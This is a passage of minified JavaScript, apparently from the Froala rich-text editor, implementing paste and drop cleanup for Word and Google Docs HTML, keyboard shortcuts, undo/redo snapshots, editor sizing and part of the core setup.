a=i.value,e.next=9,t[0].getType(a);case 9:if(s=e.sent,a.startsWith("text"))return e.next=13,s.text();e.next=16;break;case 13:e.t0=e.sent,e.next=17;break;case 16:e.t0=s;case 17:l=e.t0,a.startsWith("text")?r.setData(a,l):r.items.add(new File([l],"file"));case 19:e.next=5;break;case 21:e.next=26;break;case 23:e.prev=23,e.t1=e["catch"](3),o.e(e.t1);case 26:return e.prev=26,o.f(),e.finish(26);case 29:return e.abrupt("return",f(d,r));case 30:case"end":return e.stop()}},c,null,[[3,23,26,29]])}));return function(e){return t.apply(this,arguments)}}()),d.preventDefault(),!1):f(d)}function f(e,t){var n=t||e&&e.clipboardData;if(n&&n.getData&&((n||window.clipboardData).getData("text/html")||"").match('content="Microsoft OneNote'))return!1;if(!1===A.events.trigger("paste.before",[e,t]))return e.preventDefault(),!1;if(n&&n.getData){var r="";if(w=n.types,A.helpers.isArray(w))for(var o=0;o<w.length;o++)r+="".concat(w[o],";");else r=w;if(s="",/text\/rtf/.test(r)&&(i=n.getData("text/rtf")),/text\/html/.test(r)?(s=n.getData("text/html"),A.browser.mozilla&&("<p></p>"===s||""===s||/<!--StartFragment-->([ ])<!--EndFragment-->/.test(s)||/<!--StartFragment-->([<p></p>]*)<!--EndFragment-->/.test(s))&&(s=A.win.localStorage.getItem("fr-copied-html"))):/text\/uri-list/.test(r)&&A.browser.safari?s=n.getData("text/uri-list"):/text\/rtf/.test(r)&&A.browser.safari?s=i:/public.rtf/.test(r)&&A.browser.safari&&(s=n.getData("text/rtf")),x=n.getData("text"),""!==s)return h(),e.preventDefault&&(e.stopPropagation(),e.preventDefault()),!1;s=null}return function a(){if(A.selection.save(),A.events.disableBlur(),s=null,l){l.html("");var e=p(A.selection.get().anchorNode)+A.$wp.offset().top;l.css("top",e),A.browser.edge&&A.opts.iframe&&A.$el.append(l)}else{var t=document.getElementsByTagName("BODY")[0],n=window.getComputedStyle(t).transform;if("none"!==n){var r=p(A.selection.get().anchorNode)+A.$wp.offset().top;l=k('<div contenteditable="true" style="position: fixed; top: '+r+'px; left: -9999px; height: 100%; width: 0; word-break: break-all; overflow:hidden; z-index: 2147483647; line-height: 140%; -moz-user-select: text; -webkit-user-select: text; -ms-user-select: text; user-select: text;" tabIndex="-1"></div>')}else l=k('<div contenteditable="true" style="position: fixed; top: 0; left: -9999px; height: 100%; width: 0; word-break: break-all; overflow:hidden; z-index: 2147483647; line-height: 140%; -moz-user-select: text; -webkit-user-select: text; -ms-user-select: text; user-select: text;" tabIndex="-1"></div>');A.browser.webkit||A.browser.mozilla?("none"===n&&l.css("top",A.$sc.scrollTop()),A.$el.after(l)):A.browser.edge&&A.opts.iframe?A.$el.append(l):A.$box.after(l),A.events.on("destroy",function(){l.remove()})}var o;A.helpers.isIOS()&&A.$sc&&(o=A.$sc.scrollTop());A.opts.iframe&&A.$el.attr("contenteditable","false");A.helpers.isIOS()&&A.$sc&&A.$sc.scrollTop(o);var i=c.clipboardData.getData("Text");4e5<i.length?(c.preventDefault(),i=u(i),l.get(0).innerHTML=i,setTimeout(function(){A.win.setTimeout(h,1)},0)):(l.focus(),A.win.setTimeout(h,1))}(),!1}function a(e){return e&&"false"===e.contentEditable}function d(e){if(e.originalEvent&&(e=e.originalEvent),a(e.target))return!1;if(e&&e.dataTransfer&&e.dataTransfer.getData){var t="";if(w=e.dataTransfer.types,A.helpers.isArray(w))for(var n=0;n<w.length;n++)t+="".concat(w[n],";");else t=w;if(s="",/text\/rtf/.test(t)&&(i=e.dataTransfer.getData("text/rtf")),/text\/html/.test(t)?s=e.dataTransfer.getData("text/html"):/text\/rtf/.test(t)&&A.browser.safari?s=i:/text\/plain/.test(t)&&!this.browser.mozilla&&(s=A.html.escapeEntities(e.dataTransfer.getData("text/plain")).replace(/\n/g,"<br>")),""!==s){A.keys.forceUndo(),O=A.snapshot.get(),A.selection.save(),A.$el.find(".fr-marker").removeClass("fr-marker").addClass("fr-marker-helper");var r=A.markers.insertAtPoint(e);if(A.$el.find(".fr-marker").removeClass("fr-marker").addClass("fr-marker-placeholder"),A.$el.find(".fr-marker-helper").addClass("fr-marker").removeClass("fr-marker-helper"),A.selection.restore(),A.selection.remove(),A.$el.find(".fr-marker-placeholder").addClass("fr-marker").removeClass("fr-marker-placeholder"),!1!==r){var o=A.el.querySelector(".fr-marker");return k(o).replaceWith(Z.MARKERS),A.selection.restore(),h(),e.preventDefault&&(e.stopPropagation(),e.preventDefault()),!1}}else s=null}}function p(e){return e.nodeType===Node.TEXT_NODE?e.parentNode.offsetTop:e.offsetTop}function u(e){var t=A.html.defaultTag()||"p",n="</".concat(t,"><").concat(t,">");return A.opts.enter===Z.ENTER_BR?n="<br />":e="<".concat(t,">")+e,e.replace(/\n{2,}/g,n)}function h(){A.opts.iframe&&A.$el.attr("contenteditable","true"),A.browser.edge&&A.opts.iframe&&A.$box.after(l),O||(A.keys.forceUndo(),O=A.snapshot.get()),s||(s=l.get(0).innerHTML,x=l.text(),A.$el[0].setAttribute("plainpaste",!0),A.selection.restore(),A.events.enableBlur());var e=s.match(/(MSFontService|class="?Mso|class='?Mso|class="?Xl|class='?Xl|class=Xl|style="[^"]*\bmso-|style='[^']*\bmso-|w:WordDocument|LibreOffice)/gi),t=A.events.chainTrigger("paste.beforeCleanup",s);if(t&&"string"==typeof t){s=t;var n=(new DOMParser).parseFromString(t,"text/html");x=n.body.innerText}(!e||e&&!1!==A.events.trigger("paste.wordPaste",[s]))&&g(s,e)}function $(e){for(var t="",n=0;n++<e;)t+=" ";return t}function g(e,t,n){var r,o=null,i=null;if(0<=e.toLowerCase().indexOf("<body")){var a="";0<=e.indexOf("<style")&&(a=e.replace(/[.\s\S\w\W<>]*(<style[^>]*>[\s]*[.\s\S\w\W<>]*[\s]*<\/style>)[.\s\S\w\W<>]*/gi,"$1")),e=(e=(e=a+e.replace(/[.\s\S\w\W<>]*<body[^>]*>[\s]*([.\s\S\w\W<>]*)[\s]*<\/body>[.\s\S\w\W<>]*/gi,"$1")).replace(/<pre(?:[\w\W]*?)>(?:[\w\W]*?)<\/pre>/g,function(e){return e.replace(/\n/g,"<br />")})).replace(/ \n/g," ").replace(/\n /g," ").replace(/([^>])\n([^<])/g,"$1 $2")}var s=!1;0<=e.indexOf('id="docs-internal-guid')&&(e=e.replace(/^[\w\W\s\S]* id="docs-internal-guid[^>]*>([\w\W\s\S]*)<\/b>[\w\W\s\S]*$/g,"$1"),s=!0),(0<=e.indexOf('content="Sheets"')||0<=e.indexOf("google-sheets-html-origin"))&&(e=e.replace(/width:0px;/g,""));var l=!1;if(!t)if((l=function y(){var e=null;try{e=A.win.localStorage.getItem("fr-copied-text")}catch(t){}return!(!e||!x||w&&-1===w.indexOf("text/html")||x.replace(/\u00A0/gi," ").replace(/\r|\n/gi,"")!==e.replace(/\u00A0/gi," ").replace(/\r|\n/gi,"")&&x.replace(/\s/g,"")!==e.replace(/\s/g,""))}())&&(e=A.win.localStorage.getItem("fr-copied-html")),l)e=A.clean.html(e,A.opts.pasteDeniedTags,A.opts.pasteDeniedAttrs);else{var c=A.opts.htmlAllowedStyleProps;A.opts.htmlAllowedStyleProps=A.opts.pasteAllowedStyleProps,A.opts.htmlAllowComments=!1,e=(e=(e=e.replace(/<span class="Apple-tab-span">\s*<\/span>/g,$(A.opts.tabSpaces||4))).replace(/<span class="Apple-tab-span" style="white-space:pre">(\t*)<\/span>/g,function(e,t){return $(t.length*(A.opts.tabSpaces||4))})).replace(/\t/g,$(A.opts.tabSpaces||4)),e=A.clean.html(e,A.opts.pasteDeniedTags,A.opts.pasteDeniedAttrs),A.opts.htmlAllowedStyleProps=c,A.opts.htmlAllowComments=!0,A.html.defaultTag()&&"div"===A.html.defaultTag()||(e=H(e)),e=(e=e.replace(/\r/g,"")).replace(/^ */g,"").replace(/ *$/g,"")}!t||A.wordPaste&&n||(0===(e=e.replace(/^\n*/g,"").replace(/^ /g,"")).indexOf("<colgroup>")&&(e="<table>".concat(e,"</table>")),e=H(e=function S(e){var t;e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=(e=e.replace(/<p(.*?)class="?'?MsoListParagraph"?'? ([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<ul><li>$3</li></ul>")).replace(/<p(.*?)class="?'?NumberedText"?'? ([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<ol><li>$3</li></ol>")).replace(/<p(.*?)class="?'?MsoListParagraphCxSpFirst"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<ul><li$3>$5</li>")).replace(/<p(.*?)class="?'?NumberedTextCxSpFirst"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<ol><li$3>$5</li>")).replace(/<p(.*?)class="?'?MsoListParagraphCxSpMiddle"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<li$3>$5</li>")).replace(/<p(.*?)class="?'?NumberedTextCxSpMiddle"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<li$3>$5</li>")).replace(/<p(.*?)class="?'?MsoListBullet"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<li$3>$5</li>")).replace(/<p(.*?)class="?'?MsoListParagraphCxSpLast"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<li$3>$5</li></ul>")).replace(/<p(.*?)class="?'?NumberedTextCxSpLast"?'?([\s\S]*?)(level\d)?([\s\S]*?)>([\s\S]*?)<\/p>/gi,"<li$3>$5</li></ol>")).replace(/<span([^<]*?)style="?'?mso-list:Ignore"?'?([\s\S]*?)>([\s\S]*?)<span/gi,"<span><span")).replace(/<!--\[if !supportLists\]-->([\s\S]*?)<!--\[endif\]-->/gi,"")).replace(/<!\[if !supportLists\]>([\s\S]*?)<!\[endif\]>/gi,"")).replace(/(\n|\r| class=(")?Mso[a-zA-Z0-9]+(")?)/gi," ")).replace(/<!--[\s\S]*?-->/gi,"")).replace(/<(\/)*(meta|link|span|\\?xml:|st1:|o:|font)(.*?)>/gi,"");var n,r=["style","script","applet","embed","noframes","noscript"];for(t=0;t<r.length;t++){var o=new RegExp("<".concat(r[t],".*?").concat(r[t],"(.*?)>"),"gi");e=e.replace(o,"")}for(e=(e=(e=e.replace(/ /gi," ")).replace(/<td([^>]*)><\/td>/g,"<td$1><br></td>")).replace(/<th([^>]*)><\/th>/g,"<th$1><br></th>");(e=(n=e).replace(/<[^/>][^>]*><\/[^>]+>/gi,""))!==n;);e=(e=e.replace(/<lilevel([^1])([^>]*)>/gi,'<li data-indent="true"$2>')).replace(/<lilevel1([^>]*)>/gi,"<li$1>"),e=(e=(e=A.clean.html(e,A.opts.pasteDeniedTags,A.opts.pasteDeniedAttrs)).replace(/<a>(.[^<]+)<\/a>/gi,"$1")).replace(/<br> */g,"<br>");var i=A.o_doc.createElement("div");i.innerHTML=e;var a=i.querySelectorAll("li[data-indent]");for(t=0;t<a.length;t++){var s=a[t],l=s.previousElementSibling;if(l&&"LI"===l.tagName){var c=l.querySelector(":scope > ul, :scope > ol");c||(c=document.createElement("ul"),l.appendChild(c)),c.appendChild(s)}else s.removeAttribute("data-indent")}return A.html.cleanBlankSpaces(i),e=i.innerHTML}(e))),A.opts.pastePlain&&(e=function N(e){var t,n=null,r=A.doc.createElement("div");r.innerHTML=e;var o=r.querySelectorAll("p, div, h1, h2, h3, h4, h5, h6, pre, blockquote");for(t=0;t<o.length;t++)if((n=o[t]).innerText){var i=A.clean.html("<".concat(A.html.defaultTag()||"DIV",">").concat(n.innerText,"</").concat(A.html.defaultTag()||"DIV",">"));n.outerHTML=i}for(t=(o=r.querySelectorAll("*:not(".concat("p, div, h1, h2, h3, h4, h5, h6, pre, blockquote, ul, ol, li, table, tbody, thead, tr, td, br, img".split(",").join("):not("),")"))).length-1;0<=t;t--)(n=o[t]).outerHTML=n.innerHTML;return function a(e){for(var t=A.node.contents(e),n=0;n<t.length;n++)t[n].nodeType!==Node.TEXT_NODE&&t[n].nodeType!==Node.ELEMENT_NODE?t[n].parentNode.removeChild(t[n]):a(t[n])}(r),r.innerHTML}(e));var d=A.events.chainTrigger("paste.afterCleanup",e);if(A.$el[0].removeAttribute("plainpaste",!0),"string"==typeof d&&(e=d),""!==e){var f=A.o_doc.createElement("div");0<=(f.innerHTML=e).indexOf("<body>")?(A.html.cleanBlankSpaces(f),A.spaces.normalize(f,!0)):A.spaces.normalize(f);var p=f.getElementsByTagName("span");for(r=p.length-1;0<=r;r--){var u=p[r];0===u.attributes.length&&(u.outerHTML=u.innerHTML)}if(!0===A.opts.linkAlwaysBlank){var h=f.getElementsByTagName("a");for(r=h.length-1;0<=r;r--){var g=h[r];g.getAttribute("target")||g.setAttribute("target","_blank")}}var C=A.selection.element(),m=!1;if(C&&k(C).parentsUntil(A.el,"ul, ol").length&&(m=!0),m){var v=f.children;1===v.length&&0<=["OL","UL"].indexOf(v[0].tagName)&&(v[0].outerHTML=v[0].innerHTML)}if(!s){var b=f.getElementsByTagName("br");for(r=b.length-1;0<=r;r--){var L=b[r];A.node.isBlock(L.previousSibling)&&L.parentNode.removeChild(L)}}if(A.opts.enter===Z.ENTER_BR)for(r=(o=f.querySelectorAll("p, div")).length-1;0<=r;r--)0===(i=o[r]).attributes.length&&(i.outerHTML=i.innerHTML+(i.nextSibling&&!A.node.isEmpty(i)?"<br>":""));else if(A.opts.enter===Z.ENTER_DIV)for(r=(o=f.getElementsByTagName("p")).length-1;0<=r;r--)0===(i=o[r]).attributes.length&&(i.outerHTML="<div>".concat(i.innerHTML,"</div>"));else A.opts.enter===Z.ENTER_P&&1===f.childNodes.length&&"P"===f.childNodes[0].tagName&&0===f.childNodes[0].attributes.length&&(f.childNodes[0].outerHTML=f.childNodes[0].innerHTML);if(f.childNodes[0]instanceof HTMLHeadingElement&&A.selection.element().tagName===f.childNodes[0].tagName&&(f.childNodes[0].outerHTML=f.childNodes[0].innerHTML),f.children&&0<f.children.length)if(A.opts.trackChangesEnabled)for(var E=0;E<f.children.length;E++)f.children[E].setAttribute("id","isPasted");else f.children[0].setAttribute("id","isPasted");e=(e=f.innerHTML).replace(/\n/g,""),l&&(e=function T(e){var t,n=A.o_doc.createElement("div");n.innerHTML=e;var r=n.querySelectorAll("*:empty:not(td):not(th):not(tr):not(iframe):not(svg):not(".concat(Z.VOID_ELEMENTS.join("):not("),"):not(").concat(A.opts.htmlAllowedEmptyTags.join("):not("),")"));for(;r.length;){for(t=0;t<r.length;t++)r[t].parentNode.removeChild(r[t]);r=n.querySelectorAll("*:empty:not(td):not(th):not(tr):not(iframe):not(svg):not(".concat(Z.VOID_ELEMENTS.join("):not("),"):not(").concat(A.opts.htmlAllowedEmptyTags.join("):not("),")"))}return n.innerHTML}(e)),A.html.insert(e,!0)}!function M(){A.events.trigger("paste.after")}(),A.undo.saveStep(O),O=null,A.undo.saveStep()}function C(e){for(var t=e.length-1;0<=t;t--)e[t].attributes&&e[t].attributes.length&&e.splice(t,1);return e}function H(e){var t,n=A.o_doc.createElement("div");n.innerHTML=e;for(var r=C(Array.prototype.slice.call(n.querySelectorAll(":scope > div:not([style]), td > div:not([style]), th > div:not([style]), li > div:not([style])")));r.length;){var o=r[r.length-1];if(A.html.defaultTag()&&"div"!==A.html.defaultTag())o.querySelector(A.html.blockTagsQuery())?o.outerHTML=o.innerHTML:o.outerHTML="<".concat(A.html.defaultTag(),">").concat(o.innerHTML,"</").concat(A.html.defaultTag(),">");else{var i=o.querySelectorAll("*");!i.length||"BR"!==i[i.length-1].tagName&&0===o.innerText.length?o.outerHTML=o.innerHTML+(o.nextSibling?"<br>":""):!i.length||"BR"!==i[i.length-1].tagName||i[i.length-1].nextSibling?o.outerHTML=o.innerHTML+(o.nextSibling?"<br>":""):o.outerHTML=o.innerHTML}r=C(Array.prototype.slice.call(n.querySelectorAll(":scope > div:not([style]), td > div:not([style]), th > div:not([style]), li > div:not([style])")))}for(r=C(Array.prototype.slice.call(n.querySelectorAll("div:not([style])")));r.length;){for(t=0;t<r.length;t++){var a=r[t],s=a.innerHTML.replace(/\u0009/gi,"").trim();a.outerHTML=s}r=C(Array.prototype.slice.call(n.querySelectorAll("div:not([style])")))}return n.innerHTML}function m(){A.el.removeEventListener("copy",e),A.el.removeEventListener("cut",e),A.el.removeEventListener("paste",t)}return{_init:function v(){A.el.addEventListener("copy",e),A.el.addEventListener("cut",e),A.el.addEventListener("paste",t,{capture:!0}),A.events.on("drop",d),A.browser.msie&&A.browser.version<11&&(A.events.on("mouseup",function(e){2===e.button&&(setTimeout(function(){n=!1},50),n=!0)},!0),A.events.on("beforepaste",t)),A.events.on("destroy",m)},cleanEmptyTagsAndDivs:H,getRtfClipboard:function b(){return i},saveCopiedText:r,clean:g,replaceNewLines:u}},Object.assign(Z.DEFAULTS,{shortcutsEnabled:[],shortcutsHint:!0}),Z.SHORTCUTS_MAP={},Z.RegisterShortcut=function(e,t,n,r,o,i){Z.SHORTCUTS_MAP[(o?"^":"")+(i?"@":"")+e]={cmd:t,val:n,letter:r,shift:o,option:i},Z.DEFAULTS.shortcutsEnabled.push(t)},Z.RegisterShortcut(Z.KEYCODE.E,"show",null,"E",!1,!1),Z.RegisterShortcut(Z.KEYCODE.B,"bold",null,"B",!1,!1),Z.RegisterShortcut(Z.KEYCODE.I,"italic",null,"I",!1,!1),Z.RegisterShortcut(Z.KEYCODE.U,"underline",null,"U",!1,!1),Z.RegisterShortcut(Z.KEYCODE.S,"strikeThrough",null,"S",!1,!1),Z.RegisterShortcut(Z.KEYCODE.CLOSE_SQUARE_BRACKET,"indent",null,"]",!1,!1),Z.RegisterShortcut(Z.KEYCODE.OPEN_SQUARE_BRACKET,"outdent",null,"[",!1,!1),Z.RegisterShortcut(Z.KEYCODE.Z,"undo",null,"Z",!1,!1),Z.RegisterShortcut(Z.KEYCODE.Z,"redo",null,"Z",!0,!1),Z.RegisterShortcut(Z.KEYCODE.Y,"redo",null,"Y",!1,!1),Z.MODULES.shortcuts=function(s){var r=null;var l=!1;function e(e){if(!s.core.hasFocus())return!0;var t=e.which,n=-1!==navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey;if("keyup"===e.type&&l&&t!==Z.KEYCODE.META)return l=!1;"keydown"===e.type&&(l=!1);var r=(e.shiftKey?"^":"")+(e.altKey?"@":"")+t,o=s.node.blockParent(s.selection.blocks()[0]);if(o&&"TR"==o.tagName&&o.getAttribute("contenteditable")==undefined&&(o=o.closest("table")),n&&Z.SHORTCUTS_MAP[r]&&(!o||"false"!==o.getAttribute("contenteditable"))){var i=Z.SHORTCUTS_MAP[r].cmd;if(i&&0<=s.opts.shortcutsEnabled.indexOf(i)){var a=Z.SHORTCUTS_MAP[r].val;if(!1===s.events.trigger("shortcut",[e,i,a]))return!(l=!0);if(i&&(s.commands[i]||Z.COMMANDS[i]&&Z.COMMANDS[i].callback))return e.preventDefault(),e.stopPropagation(),"keydown"===e.type&&((s.commands[i]||Z.COMMANDS[i].callback)(),l=!0),!1}}}return{_init:function t(){s.events.on("keydown",e,!0),s.events.on("keyup",e,!0)},get:function o(e){if(!s.opts.shortcutsHint)return null;if(!r)for(var t in r={},Z.SHORTCUTS_MAP)Object.prototype.hasOwnProperty.call(Z.SHORTCUTS_MAP,t)&&0<=s.opts.shortcutsEnabled.indexOf(Z.SHORTCUTS_MAP[t].cmd)&&(r["".concat(Z.SHORTCUTS_MAP[t].cmd,".").concat(Z.SHORTCUTS_MAP[t].val||"")]={shift:Z.SHORTCUTS_MAP[t].shift,option:Z.SHORTCUTS_MAP[t].option,letter:Z.SHORTCUTS_MAP[t].letter});var n=r[e];return n?(s.helpers.isMac()?String.fromCharCode(8984):"".concat(s.language.translate("Ctrl"),"+"))+(n.shift?s.helpers.isMac()?String.fromCharCode(8679):"".concat(s.language.translate("Shift"),"+"):"")+(n.option?s.helpers.isMac()?String.fromCharCode(8997):"".concat(s.language.translate("Alt"),"+"):"")+n.letter:null}}},Z.MODULES.snapshot=function(l){function n(e){for(var t=e.parentNode.childNodes,n=0,r=null,o=0;o<t.length;o++){if(r){var i=t[o].nodeType===Node.TEXT_NODE&&""===t[o].textContent,a=r.nodeType===Node.TEXT_NODE&&t[o].nodeType===Node.TEXT_NODE,s=r.nodeType===Node.TEXT_NODE&&""===r.textContent;i||a||s||n++}if(t[o]===e)return n;r=t[o]}}function o(e){var t=[];if(!e.parentNode)return[];for(;!l.node.isElement(e);)t.push(n(e)),e=e.parentNode;return t.reverse()}function i(e,t){for(;e&&e.nodeType===Node.TEXT_NODE;){var n=e.previousSibling;n&&n.nodeType===Node.TEXT_NODE&&(t+=n.textContent.length),e=n}return t}function c(e){for(var t=l.el,n=0;n<e.length;n++)t=t.childNodes[e[n]];return t}function r(e,t){try{var n=c(t.scLoc),r=t.scOffset,o=c(t.ecLoc),i=t.ecOffset,a=l.doc.createRange();a.setStart(n,r),a.setEnd(o,i),e.addRange(a)}catch(s){}}return{get:function a(){var e,t={};if(l.events.trigger("snapshot.before"),t.html=(l.$wp?l.$el.html():l.$oel.get(0).outerHTML).replace(/ style=""/g,""),t.ranges=[],l.$wp&&l.selection.inEditor()&&l.core.hasFocus())for(var n=l.selection.ranges(),r=0;r<n.length;r++)t.ranges.push({scLoc:o((e=n[r]).startContainer),scOffset:i(e.startContainer,e.startOffset),ecLoc:o(e.endContainer),ecOffset:i(e.endContainer,e.endOffset)});return l.events.trigger("snapshot.after",[t]),t},restore:function s(e){l.$el.html()!==e.html&&(l.opts.htmlExecuteScripts?l.$el.html(e.html):l.el.innerHTML=e.html);var t=l.selection.get();l.selection.clear(),l.events.focus(!0);for(var n=0;n<e.ranges.length;n++)r(t,e.ranges[n])},equal:function d(e,t){return e.html===t.html&&(!l.core.hasFocus()||JSON.stringify(e.ranges)===JSON.stringify(t.ranges))}}},Z.MODULES.undo=function(n){function e(e){var t=e.which;n.keys.ctrlKey(e)&&(t===Z.KEYCODE.Z&&e.shiftKey&&e.preventDefault(),t===Z.KEYCODE.Z&&e.preventDefault())}var t=null;function r(){if(n.undo_stack&&!n.undoing)for(;n.undo_stack.length>n.undo_index;)n.undo_stack.pop()}function o(){n.undo_index=0,n.undo_stack=[]}function i(){n.undo_stack=[]}return{_init:function a(){o(),n.events.on("initialized",function(){t=(n.$wp?n.$el.html():n.$oel.get(0).outerHTML).replace(/ style=""/g,"")}),n.events.on("blur",function(){n.el.querySelector(".fr-dragging")||n.undo.saveStep()}),n.events.on("keydown",e),n.events.on("destroy",i)},run:function s(){if(1<n.undo_index){n.undoing=!0;var e=n.undo_stack[--n.undo_index-1];clearTimeout(n._content_changed_timer),n.snapshot.restore(e),t=e.html,n.popups.hideAll(),n.toolbar.enable(),n.events.trigger("contentChanged"),n.events.trigger("commands.undo"),n.undoing=!1,n.selection.restore()}},redo:function l(){if(n.undo_index<n.undo_stack.length){n.undoing=!0;var e=n.undo_stack[n.undo_index++];clearTimeout(n._content_changed_timer),n.snapshot.restore(e),t=e.html,n.popups.hideAll(),n.toolbar.enable(),n.events.trigger("contentChanged"),n.events.trigger("commands.redo"),n.undoing=!1}},canDo:function c(){return!(0===n.undo_stack.length||n.undo_index<=1)},canRedo:function d(){return n.undo_index!==n.undo_stack.length},dropRedo:r,reset:o,saveStep:function f(e){if(!(!n.undo_stack||n.undoing||n.el.querySelector(".fr-marker")||n.el.querySelector(".fr-marker")&&n.opts.iframe&&n.markdown&&!n.markdown.isEnabled()))if(void 0===e){if((e=n.snapshot.get())&&e.html&&n.undo_stack[n.undo_stack.length-1]&&e.html===n.undo_stack[n.undo_stack.length-1].html)return;n.undo_stack[n.undo_index-1]&&n.snapshot.equal(n.undo_stack[n.undo_index-1],e)||(r(),n.undo_stack.push(e),n.undo_index++,function o(e,t){var n=t.split("fr-selected-cell").join("");n=n.split(' class=""').join("");var r=e.split("fr-selected-cell").join("");return n===(r=r.split(' class=""').join(""))}(t,e.html)||(n.events.trigger("contentChanged"),t=e.html))}else r(),0<n.undo_index?n.undo_stack[n.undo_index-1]=e:(n.undo_stack.push(e),n.undo_index++)}}},Object.assign(Z.DEFAULTS,{height:null,heightMax:null,heightMin:null,width:null}),Z.MODULES.size=function(r){function e(){o(),r.opts.height&&r.$el.css("minHeight",r.opts.height-r.helpers.getPX(r.$el.css("padding-top"))-r.helpers.getPX(r.$el.css("padding-bottom")));var e=!1;if(r.opts.fullPage)for(var t=r.$el.find("span,p,div"),n=0;n<t.length;n++)if(t[n].style.height&&t[n].style.height.includes("vh")){e=!0;break}r.opts.fullPage&&e&&(r.opts.heightMin&&r.$iframe.css("minHeight",r.opts.heightMin),r.opts.heightMax&&r.$iframe.css("maxHeight",r.opts.heightMax),r.$el.css("overflow-y","auto")),r.opts.iframe&&r.markdown&&r.markdown.isEnabled()?r.$iframe.height(r.$wp.parent().outerHeight(!0)):r.$iframe.height(r.$el.outerHeight(!0))}function o(){r.opts.heightMin?r.$el.css("minHeight",r.opts.heightMin):r.$el.css("minHeight",""),r.opts.heightMax?(r.$wp.css("maxHeight",r.opts.heightMax),r.$wp.css("overflow","auto")):(r.$wp.css("maxHeight",""),r.$wp.css("overflow","")),r.opts.height?(r.$wp.css("height",r.opts.height),r.$wp.css("overflow","auto"),r.$el.css("minHeight",r.opts.height-r.helpers.getPX(r.$el.css("padding-top"))-r.helpers.getPX(r.$el.css("padding-bottom")))):(r.$wp.css("height",""),r.opts.heightMin||r.$el.css("minHeight",""),r.opts.heightMax||r.$wp.css("overflow","")),r.opts.width&&r.$box.width(r.opts.width)}return{_init:function t(){if(!r.$wp)return!1;o(),r.$iframe&&(r.events.on("keyup keydown",function(){setTimeout(e,0)},!0),r.events.on("commands.after html.set init initialized paste.after",e))},syncIframe:e,refresh:o}},Object.assign(Z.DEFAULTS,{documentReady:!1,editorClass:null,typingTimer:500,iframe:!1,requestWithCORS:!0,requestWithCredentials:!1,requestHeaders:{},useClasses:!0,spellcheck:!0,iframeDefaultStyle:'html{margin:0px;height:auto;}body{height:auto;padding:20px;background:transparent;color:#000000;position:relative;z-index: 2;-webkit-user-select:auto;margin:0px;overflow:hidden;min-height:20px;}body:after{content:"";display:block;clear:both;}body::-moz-selection{background:#b5d6fd;color:#000;}body::selection{background:#b5d6fd;color:#000;}',iframeStyle:"",iframeStyleFiles:[],direction:"auto",zIndex:1,tabIndex:null,disableRightClick:!1,scrollableContainer:"body",keepFormatOnDelete:!1,theme:null}),Z.MODULES.core=function(l){var c=l.$;function n(){if(l.$box.addClass("fr-box".concat(l.opts.editorClass?" ".concat(l.opts.editorClass):"")),l.$box.attr("role","application"),l.$wp.addClass("fr-wrapper"),l.opts.documentReady&&l.$box.addClass("fr-document"),function a(){l.opts.iframe||l.$el.addClass("fr-element fr-view");var e=l.opts.fontSizeDefaultSelection&&l.opts.fontSizeUnit&&"Font Size"!=l.opts.fontSizeDefaultSelection,t=l.opts.fontFamilyDefaultSelection&&"Font Family"!=l.opts.fontFamilyDefaultSelection;if(e||t){var n="";if(e){var r="pt"===l.opts.fontSizeUnit?Math.round(72*parseFloat(l.opts.fontSizeDefaultSelection,10)/96):l.opts.fontSizeDefaultSelection;n+="font-size: ".concat(r).concat(l.opts.fontSizeUnit,"; ")}if(t&&(n+="font-family: ".concat(l.opts.fontFamilyDefaultSelection,";")),1==l.opts.iframe)l.opts.iframeStyle+="body p, div, ol, ul, table { ".concat(n," }");else{var o=c(document.getElementById("default-styles")),i="default-styles-".concat(l.id);n=".fr-box .".concat(i," p, .fr-box .").concat(i," div, .fr-box .").concat(i," table, .fr-box .").concat(i," ol, .fr-box .").concat(i," ul{ ").concat(n," }"),0==o.length&&(o=c(document.createElement("style")).attr("id","default-styles"),c("head").append(o)),o.append(n),c("head").append(o),l.$el.addClass(i)}}(l.opts.height&&l.opts.height<window.innerHeight||l.opts.heightMax&&l.opts.heightMax<window.innerHeight)&&l.$el.addClass("fr-element-scroll-visible")}(),l.opts.iframe){l.$iframe.addClass("fr-iframe"),l.$el.addClass("fr-view");for(var e=0;e<l.o_doc.styleSheets.length;e++){var t=void 0,n=!1;try{t=l.o_doc.styleSheets[e].cssRules}catch(s){}if(l.o_doc.styleSheets[e].href&&(-1<l.o_doc.styleSheets[e].href.indexOf("codemirror")||-1<l.o_doc.styleSheets[e].href.indexOf("font-awesome"))&&(n=!(t=null)),t)for(var r=0,o=t.length;r<o;r++)if(!t[r].selectorText||0!==t[r].selectorText.indexOf(".fr-view")&&0!==t[r].selectorText.indexOf(".fr-element")&&0!==t[r].selectorText.indexOf(".fr-box.fr-basic .fr-element")&&0!==t[r].selectorText.indexOf(".fr-markdown-view")&&0!==t[r].selectorText.indexOf(".fr-markdown-editor")&&0!==t[r].selectorText.indexOf(".fr-wrapper-markdown")&&0!==t[r].selectorText.indexOf(".gutter-horizontal")&&0!==t[r].selectorText.indexOf(".e-resize-handler"))try{n&&l.o_doc.styleSheets[e].href&&t[r].selectorText&&(l.opts.iframeStyle+="".concat(t[r].selectorText,"{").concat(t[r].style.cssText,"}"),n=!1)}catch(s){}else 0<t[r].style.cssText.length&&(0===t[r].selectorText.indexOf(".fr-box.fr-basic .fr-element")&&(l.opts.iframeStyle+="".concat(t[r].selectorText,"{").concat(t[r].style.cssText,"}")),0===t[r].selectorText.indexOf(".fr-view")?l.opts.iframeStyle+="".concat(t[r].selectorText.replace(/\.fr-view/g,"body"),"{").concat(t[r].style.cssText,"}"):l.opts.iframeStyle+="".concat(t[r].selectorText.replace(/\.fr-element/g,"body"),"{").concat(t[r].style.cssText,"}"));else 